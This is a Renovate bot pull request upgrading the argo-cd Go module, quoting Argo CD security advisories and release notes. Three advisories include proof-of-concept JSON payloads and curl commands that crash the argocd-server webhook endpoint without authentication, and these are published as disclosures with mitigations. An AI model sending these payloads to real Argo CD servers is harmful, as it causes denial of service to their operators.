Update module github.com/argoproj/argo-cd/v2 to v2.14.20 [SECURITY] by renovate[bot] · Pull Request #166 · puzzle/goff

renovate · 2025-01-30T18:45:16Z

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package	Change	Age	Confidence
github.com/argoproj/argo-cd/v2	`v2.12.0` → `v2.14.20`

GitHub Vulnerability Alerts

CVE-2025-23216

Impact

A vulnerability was discovered in Argo CD that exposed secret values in error messages and the diff view when an invalid Kubernetes Secret resource was synced from a repository.

The vulnerability assumes the user has write access to the repository and can exploit it, either intentionally or unintentionally, by committing an invalid Secret to repository and triggering a Sync. Once exploited, any user with read access to Argo CD can view the exposed secret data.

Patches

A patch for this vulnerability is available in the following Argo CD versions:

v2.13.4
v2.12.10
v2.11.13

Workarounds

There is no workaround other than upgrading.

References

Fixed with commit argoproj/argo-cd@6f5537b & argoproj/gitops-engine@7e21b91

Severity

CVSS Score: 6.8 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

CVE-2025-47933

Impact

This vulnerability allows an attacker to perform arbitrary actions on behalf of the victim via the API, such as creating, modifying, and deleting Kubernetes resources. Due to the improper filtering of URL protocols in the repository page, an attacker can achieve cross-site scripting with permission to edit the repository.

In ui/src/app/shared/components/urls.ts, the following code exists to parse the repository URL.

https://github.com/argoproj/argo-cd/blob/0ae5882d5ae9fe88efc51f65ca8543fb8c3a0aa1/ui/src/app/shared/components/urls.ts#L14-L26

Since this code doesn't validate the protocol of repository URLs, it's possible to inject javascript: URLs here.

https://github.com/argoproj/argo-cd/blob/0ae5882d5ae9fe88efc51f65ca8543fb8c3a0aa1/ui/src/app/shared/components/repo.tsx#L5-L7

As the return value of this function is used in the href attribute of the a tag, it's possible to achieve cross-site scripting by using javascript: URLs.

Browsers may return the proper hostname for javascript: URLs, allowing exploitation of this vulnerability.

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v3.0.4
v2.14.13
v2.13.8

The patch incorporates a way to validate the URL being passed in. Returning null if the validation fails.

Workarounds

There are no workarounds other than depending on the browser to filter the URL.

Credits

Disclosed by @Ry0taK RyotaK.

For more information

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Severity

CVSS Score: 9.1 / 10 (Critical)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE-2025-55191

Summary

A race condition in the repository credentials handler can cause the Argo CD server to panic and crash when concurrent operations are performed on the same repository URL.

Details

The vulnerability is located in numerous repository related handlers in the util/db/repository_secrets.go file. For example, in the secretToRepoCred function. The issue manifests as a concurrent map access panic:

concurrent map read and map write
...
goroutine 1104 [running]:
github.com/argoproj/argo-cd/v2/util/db.(*secretsRepositoryBackend).secretToRepoCred(0xc000e50ea8?, 0xc000c65540)
        /go/src/github.com/argoproj/argo-cd/util/db/repository_secrets.go:404 +0x31e

The race condition occurs due to:

Concurrent repository credential operations (create/update/delete) accessing the same map
Kubernetes informer re-syncs happening simultaneously
Background watchers updating the same secret data
No mutex protection for map access

A valid API token with repositories resource permissions (create, update, or delete actions) is required to trigger the race condition.

Impact

This vulnerability causes the entire Argo CD server to crash and become unavailable. Attackers can repeatedly and continuously trigger the race condition to maintain a denial-of-service state, disrupting all GitOps operations. Default ArgoCD configuration is vulnerable.

The affected code was originally introduced in PR #6103 and released in v2.1.0.

This data race was addressed by deep-copying the Secret objects before reading/writing.

Credits

This vulnerability was found, reported and fixed by:

@thevilledev

The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

CVE-2025-59531

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.bitbucketserver.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Bitbucket-Server push event whose JSON field repository.links.clone is anything other than an array.

A single unauthenticated curl request can push the control-plane into CrashLoopBackOff; repeating the request on each replica causes a complete outage of the API.

Details

// webhook.go (Bitbucket-Server branch in affectedRevisionInfo)

for _, l := range payload.Repository.Links["clone"].([]any) {   // <- unsafe cast
    link := l.(map[string]any)
    ...
}

If links.clone is a string, number, object, or null, the first type assertion panics:
interface conversion: interface {} is string, not []interface {}

The worker goroutine created by startWorkerPool lacks a recover, so the panic terminates the whole binary.

PoC

Save as payload-panic.json - note the non-array links.clone.

{
  "eventKey": "repo:refs_changed",
  "repository": {
    "name": "guestbook",
    "fullName": "APP/guestbook",
    "links": { "clone": "boom" }
  },
  "changes": [ { "ref": { "id": "refs/heads/master" } } ]
}

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Event-Key: repo:refs_changed' \
     -H 'Content-Type: application/json' \
     --data-binary @&#8203;payload-panic.json

Observed crash (argocd-server restart):

panic: interface conversion: interface {} is string, not []interface {}
goroutine 192 [running]:
github.com/argoproj/argo-cd/v3/server/webhook.affectedRevisionInfo
    webhook.go:209 +0x1218
...

Mitigation

If you use Bitbucket Server and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Bitbucket Server, you can set the webhook secret to a long, random value to effectively disable webhook handling for Bitbucket Server payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.bitbucketserver.secret: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE-2025-59537

Summary

Unpatched Argo CD versions are vulnerable to malicious API requests which can crash the API server and cause denial of service to legitimate clients.

With the default configuration, no webhook.gogs.secret set, Argo CD’s /api/webhook endpoint will crash the entire argocd-server process when it receives a Gogs push event whose JSON field commits[].repo is not set or is null.

Details

Users can access /api/webhook without authentication, and when accessing this endpoint, the Handler function parses webhook type messages according to the header (e.g. X-Gogs-Event) and body parameters provided by the user. The Parse function simply unmarshals JSON-type messages. In other words, it returns a data structure even if the data structure is not exactly matched.

The affectedRevisionInfo function parses data according to webhook event types(e.g. gogsclient.PushPayload). However, due to the lack of data structure validation corresponding to these events, an attacker can cause a Denial of Service (DoS) attack by sending maliciously crafted data. because of Repository is Pointer Type.

func affectedRevisionInfo(payloadIf any) (webURLs []string, revision string, change changeInfo, touchedHead bool, changedFiles []string) {
    switch payload := payloadIf.(type) {
        // ...
        case gogsclient.PushPayload:
            webURLs = append(webURLs, payload.Repo.HTMLURL) // bug
            // ...
        }
    return webURLs, revision, change, touchedHead, changedFiles
}

PoC

payload-gogs.json

{
  "ref": "refs/heads/master",
  "before": "0000000000000000000000000000000000000000",
  "after": "0a05129851238652bf806a400af89fa974ade739",
  "commits": [{}]
}

curl -k -v https://argocd.example.com/api/webhook \
  -H 'X-Gogs-Event: push' \
  -H 'Content-Type: application/json' \
  --data-binary @&#8203;/tmp/payload-gogs.json

An attacker can cause a DoS and make the argo-cd service unavailable by continuously sending unauthenticated requests to /api/webhook.

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x68 pc=0x280f494]

goroutine 302 [running]:
github.com/argoproj/argo-cd/v2/util/webhook.affectedRevisionInfo({0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:233 +0x594
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).HandleEvent(0x40000f9140, {0x3bd8240?, 0x40005a7030?})
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:254 +0x38
github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool.func1()
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:128 +0x60
created by github.com/argoproj/argo-cd/v2/util/webhook.(*ArgoCDWebhookHandler).startWorkerPool in goroutine 1
	/go/src/github.com/argoproj/argo-cd/util/webhook/webhook.go:121 +0x28

Mitigation

If you use Gogs and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Gogs, you can set the webhook secret to a long, random value to effectively disable webhook handling for Gogs payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.gogs.secret: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credit

Sangjun Song (s0ngsari) at Theori (theori.io)

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE-2025-59538

Summary

In the default configuration, webhook.azuredevops.username and webhook.azuredevops.password not set, Argo CD’s /api/webhook endpoint crashes the entire argocd-server process when it receives an Azure DevOps Push event whose JSON array resource.refUpdates is empty.

The slice index [0] is accessed without a length check, causing an index-out-of-range panic.

A single unauthenticated HTTP POST is enough to kill the process.

Details

case azuredevops.GitPushEvent:
    // util/webhook/webhook.go -- line ≈147
    revision        = ParseRevision(payload.Resource.RefUpdates[0].Name)        // panics if slice empty
    change.shaAfter = ParseRevision(payload.Resource.RefUpdates[0].NewObjectID)
    change.shaBefore= ParseRevision(payload.Resource.RefUpdates[0].OldObjectID)
    touchedHead     = payload.Resource.RefUpdates[0].Name ==
                      payload.Resource.Repository.DefaultBranch

If the attacker supplies "refUpdates": [], the slice has length 0.

The webhook code has no recover(), so the panic terminates the entire binary.

PoC

payload-azure-empty.json:

{
  "eventType": "git.push",
  "resource": {
    "refUpdates": [],
    "repository": {
      "remoteUrl": "https://example.com/dummy",
      "defaultBranch": "refs/heads/master"
    }
  }
}

curl call:

curl -k -X POST https://argocd.example.com/api/webhook \
     -H 'X-Vss-ActivityId: 11111111-1111-1111-1111-111111111111' \
     -H 'Content-Type: application/json' \
     --data-binary @&#8203;payload-azure-empty.json

Observed crash:

panic: runtime error: index out of range [0] with length 0

goroutine 205 [running]:
github.com/argoproj/argo-cd/v3/util/webhook.affectedRevisionInfo
    webhook.go:147 +0x1ea5
...

Mitigation

If you use Azure DevOps and need to handle webhook events, configure a webhook secret to ensure only trusted parties can invoke the webhook handler.

If you do not use Azure DevOps, you can set the webhook secrets to long, random values to effectively disable webhook handling for Azure DevOps payloads.

apiVersion: v1
kind: Secret
metadata:
  name: argocd-secret
type: Opaque
data:
+  webhook.azuredevops.username: <your base64-encoded secret here>
+  webhook.azuredevops.password: <your base64-encoded secret here>

For more information

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

Discovered by Jakub Ciolek at AlphaSense.

Severity

CVSS Score: 7.5 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Release Notes

argoproj/argo-cd (github.com/argoproj/argo-cd/v2)

`v2.14.20`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.20/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.20/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

4ab9cd4: fix: allow for backwards compatibility of durations defined in days (cherry-pick #24769 for 2.14) (#24772) (@argo-cd-cherry-pick-bot[bot])

Other work

7b219ee: Merge commit from fork (@crenshaw-dev)
e889f0a: Merge commit from fork (@crenshaw-dev)
741f00e: Merge commit from fork (@crenshaw-dev)
1f98e3f: Merge commit from fork (@thevilledev)

Full Changelog: argoproj/argo-cd@v2.14.19...v2.14.20

`v2.14.19`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.19/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.19/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

4a133ce: fix: limit number of resources in appset status (#24690) (#24694) (@alexmt)

Other work

376525e: ci(release): only set latest release in github when latest (#24525) (#24688) (@agaudreault)

Full Changelog: argoproj/argo-cd@v2.14.18...v2.14.19

`v2.14.18`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.18/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.18/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

caa4dc1: fix(util): Fix default key exchange algorthims used for SSH connection to be FIPS compliant (#24499) (@anandf)
4f6686f: fix: correct post-delete finalizer removal when cluster not found (cherry-pick #24415 for 2.14) (#24591) (@argo-cd-cherry-pick-bot[bot])
4359b3c: fix: use informer in webhook handler to reduce memory usage (#24622) (#24628) (@alexmt)

Documentation

3d76aa5: docs: Update URL for HA manifests to stable. (#24456) (@Kelketek)

Other work

981e7f7: fix(2.14): change the appset namespace to server namespace when generating appset (#24481) (@nitishfy)

Full Changelog: argoproj/argo-cd@v2.14.17...v2.14.18

`v2.14.17`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.17/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.17/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Full Changelog: argoproj/argo-cd@v2.14.16...v2.14.17

`v2.14.16`

Compare Source

Quick Start

Use v2.14.17

There was an issue with immutable releases for v2.14.16 which caused some release steps to fail (uploading provenance and SBOMs). There should be nothing wrong with v2.14.16, but v2.14.17 is equivalent with a fully-successful release.

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.16/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.16/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

5d0a4f0: fix(appset): When Appset is deleted, the controller should reconcile applicationset #23723 (cherry-pick ##23823) (#23832) (@rumstead)
d95b710: fix(controller): get commit server url from env (cherry-pick #23536) (#23543) (@gcp-cherry-pick-bot[bot])
72e2387: fix(security): repository.GetDetailedProject exposes repo secrets (#24389) (@crenshaw-dev)
8a3b2fd: fix(server): infer resource status health for apps-in-any-ns (#22944) (#23707) (@crenshaw-dev)
ddb6073: fix: improves the ui message when an operation is terminated due to controller sync timeout (cherry-pick #23657) (#23673) (@gcp-cherry-pick-bot[bot])

Other work

510b775: chore(cherry-pick-2.14): replace bitnami images (#24289) (@nitishfy)
d77ecdf: chore: adds all components in goreman run script (cherry-pick #23777) (#23790) (@gcp-cherry-pick-bot[bot])
f9bb3b6: chore: update Go to 1.24.6 (release-2.14) (#24091) (@thevilledev)
f8eba3e: fix(cherry-pick-2.14): custom resource health for flux helm repository of type oci (#24339) (@adberger)

Full Changelog: argoproj/argo-cd@v2.14.15...v2.14.16

`v2.14.15`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.15/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.15/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

ec51989: fix(applicationset): requeue applicationste when application status changes (#23413) (@rumstead)
da2ef7d: fix(sync): auto-sync loop when FailOnSharedResource (#23357) (@agaudreault)

Full Changelog: argoproj/argo-cd@v2.14.14...v2.14.15

`v2.14.14`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.14/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.14/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

a2361bf: fix: add cooldown to prevent resetting autoheal exp backoff preemptively (cherry-pick #23057) (#23188) (@gdsoumya)
14fa0e0: fix: parse project with applicationset resource (cherry-pick #23252) (#23268) (@gcp-cherry-pick-bot[bot])
2aceb1d: fix: update broken yarn.lock (#23212) (@svghadi)

Other work

3c68b26: chore: upgrade Go from 1.23.4 to 1.24.4 (release-2.14) (#23294) (@thevilledev)
e24ee58: chore: upgrade golangci-lint to v2 (release-2.14) (#23305) (@thevilledev)
5f89062: chore: upgrade mockery to v2.53.4 (release-2.14) (#23316) (@thevilledev)

Full Changelog: argoproj/argo-cd@v2.14.13...v2.14.14

`v2.14.13`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.13/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.13/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

This release fixes a critical security issue: GHSA-2hj5-g64g-fp6p

Other work

24d5722: Merge commit from fork (@crenshaw-dev)
d213c30: chore: bump gitops-engine ssd fix (#23072) (@pjiang-dev)

Full Changelog: argoproj/argo-cd@v2.14.12...v2.14.13

`v2.14.12`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.12/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.12/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

f7ad2ad: fix(ApplicationSet): Check strategy type to verify it's a progressive sync (cherry-pick #22563) (#22833) (@gcp-cherry-pick-bot[bot])
ced6a78: fix(health): handle nil lastTransitionTime (#22897) (cherry-pick #22900) (#22909) (@gcp-cherry-pick-bot[bot])
25235fb: fix(test): broken e2e test (cherry-pick #22975) (#23052) (@gcp-cherry-pick-bot[bot])
78e61ba: fix: Only port-forward to ready pods (#10610) (cherry-pick #22794) (#22826) (@mikebryant)
fe93963: fix: do not normalize resource tracking on live crds (#22722) - cherrypick 2.14 (#22746) (@blakepettersson)
5bc6f47: fix: infinite reconciliation loop when app is in error (#23047) (@agaudreault)
b163de0: fix: remove project from cache key for project scoped credentials (#22816) (@pjiang-dev)

Dependency updates

efe5d29: chore(deps): resolve CVE GO-2025-3540, GO-2025-3503, GO-2025-3487 within 2.14.10 (#22709) (@nathanlaceyraft)

Other work

3a9ab77: fix(commit-server): apply image override (cherry-pick #22916) (#22918) (@gcp-cherry-pick-bot[bot])

Full Changelog: argoproj/argo-cd@v2.14.11...v2.14.12

`v2.14.11`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.11/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.11/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Features

91f5445: feat(hydrator): handle sourceHydrator fields from webhook (#19397) (cherry-pick #22485) (#22754) (@gcp-cherry-pick-bot[bot])

Bug fixes

0451723: fix(appset): generated app errors should use the default requeue (#21887) (cherry-pick #21936) (#22672) (@gcp-cherry-pick-bot[bot])
f6f7d29: fix(ui): avoid spurious error on hydration (#22506) (cherry-pick #22711) (#22714) (@gcp-cherry-pick-bot[bot])

Full Changelog: argoproj/argo-cd@v2.14.10...v2.14.11

`v2.14.10`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.10/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.10/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

b31d700: fix(cli): wrong variable to store --no-proxy value (cherry-pick #21226) (#22590) (@gcp-cherry-pick-bot[bot])
6b15a04: fix: [cherry-pick] selfhealattemptscount needs to be reset at times (#22095, #20978) (#22583) (@Aaron-9900)
be81419: fix: login return_url doesn't work with custom server paths (cherry-pick #21588) (#22594) (@gcp-cherry-pick-bot[bot])
3b308d6: fix: respect delete confirmation for argocd app deletion (cherry-pick #22657) (#22664) (@gcp-cherry-pick-bot[bot])

Dependency updates

4826fb0: chore(deps): Update github.com/expr-lang/expr to v1.17.0 fixing CVE-2025-29786 (#22651) (@heshamelsherif97)

Full Changelog: argoproj/argo-cd@v2.14.9...v2.14.10

`v2.14.9`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.9/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.9/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

31a5545: fix: Check for semver constraint matching in application webhook handler (cherry-pick #21648) (#22508) (@gcp-cherry-pick-bot[bot])

Other work

c868711: chore(dep): bump gitops-engine 2.14 (#22520) (@pjiang-dev)

Full Changelog: argoproj/argo-cd@v2.14.8...v2.14.9

`v2.14.8`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.8/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.8/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes

9a9e62d: fix(server): fully populate app destination before project checks (#22408) (#22426) (@crenshaw-dev)
7acdaa9: fix: CVE-2025-26791 upgrading redoc dep to 2.4.0 to avoid DOMPurify b… (#21997) (@nmirasch)
872319e: fix: handle annotated git tags correctly in repo server cache (#21771) (#22424) (@aali309)

Dependency updates

9f832cd: chore(deps): bump github.com/golang-jwt/jwt to 4.5.2/5.2.2 (#22465) (@crenshaw-dev)

Other work

ec45e33: fix(ui, rbac): project-roles (#21829) (2.14 backport) (#22461) (@blakepettersson)

Full Changelog: argoproj/argo-cd@v2.14.7...v2.14.8

`v2.14.7`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.7/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.7/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Dependency updates

3940782: chore(deps): bump gitops engine (#22405) (@crenshaw-dev)

Full Changelog: argoproj/argo-cd@v2.14.6...v2.14.7

`v2.14.6`

Compare Source

Quick Start

Non-HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.6/manifests/install.yaml

HA:

kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.14.6/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Features

38c0376: feat(server): make deep copies of objects returned by informers (#22173) (#22179) (#22340) (@rumstead)

Dependency updates

defd4be: chore(deps): Update go-git from 5.12.0 to 5.13.2 to include several CVE fixes (#22313) (@anandf)

Full Changelog: argoproj/argo-cd@v2.14.5...v2.14.6

[`v

Configuration

📅 Schedule: (UTC)

Branch creation
- ""
Automerge
- At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

renovate · 2025-01-30T18:45:17Z

ℹ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

16 additional dependencies were updated

Details:

Package	Change
`golang.org/x/text`	`v0.16.0` -> `v0.21.0`
`github.com/ProtonMail/go-crypto`	`v1.0.0` -> `v1.1.3`
`github.com/argoproj/gitops-engine`	`v0.7.1-0.20240714153147-adb68bcaab73` -> `v0.7.1-0.20250129155113-faf5a4e5c37d`
`github.com/cyphar/filepath-securejoin`	`v0.2.4` -> `v0.3.6`
`github.com/go-git/go-billy/v5`	`v5.5.0` -> `v5.6.1`
`github.com/go-git/go-git/v5`	`v5.12.0` -> `v5.13.1`
`github.com/skeema/knownhosts`	`v1.2.2` -> `v1.3.0`
`golang.org/x/crypto`	`v0.24.0` -> `v0.31.0`
`golang.org/x/exp`	`v0.0.0-20231110203233-9a3e6036ecaa` -> `v0.0.0-20240719175910-8a7402abbf56`
`golang.org/x/mod`	`v0.18.0` -> `v0.19.0`
`golang.org/x/net`	`v0.26.0` -> `v0.33.0`
`golang.org/x/sys`	`v0.21.0` -> `v0.28.0`
`golang.org/x/term`	`v0.21.0` -> `v0.27.0`
`golang.org/x/tools`	`v0.22.0` -> `v0.23.0`
`github.com/stretchr/testify`	`v1.9.0` -> `v1.10.0`
`golang.org/x/sync`	`v0.7.0` -> `v0.10.0`

renovate · 2025-05-28T18:59:12Z

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

any of the package files in this branch needs updating, or
the branch becomes conflicted, or
you click the rebase/retry checkbox if found above, or
you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: go.sum

Command failed: go get -t ./...
go: module github.com/argoproj/argo-cd/v2@v2.14.20 requires go >= 1.24.6; switching to go1.25.8
go: downloading go1.25.8 (linux/amd64)
go: downloading github.com/argoproj/argo-cd/v2 v2.14.20
go: downloading github.com/ghodss/yaml v1.0.0
go: downloading github.com/pkg/errors v0.9.1
go: downloading github.com/sirupsen/logrus v1.9.3
go: downloading sigs.k8s.io/controller-runtime v0.19.3
go: downloading dagger.io/dagger v0.12.5
go: downloading golang.org/x/sync v0.13.0
go: downloading github.com/stretchr/testify v1.10.0
go: downloading github.com/spf13/cobra v1.8.1
go: downloading github.com/go-godo/godo v2.0.9+incompatible
go: downloading github.com/hexops/gotextdiff v1.0.3
go: downloading github.com/spf13/afero v1.11.0
go: downloading gopkg.in/yaml.v2 v2.4.0
go: downloading github.com/awalterschulze/gographviz v2.0.3+incompatible
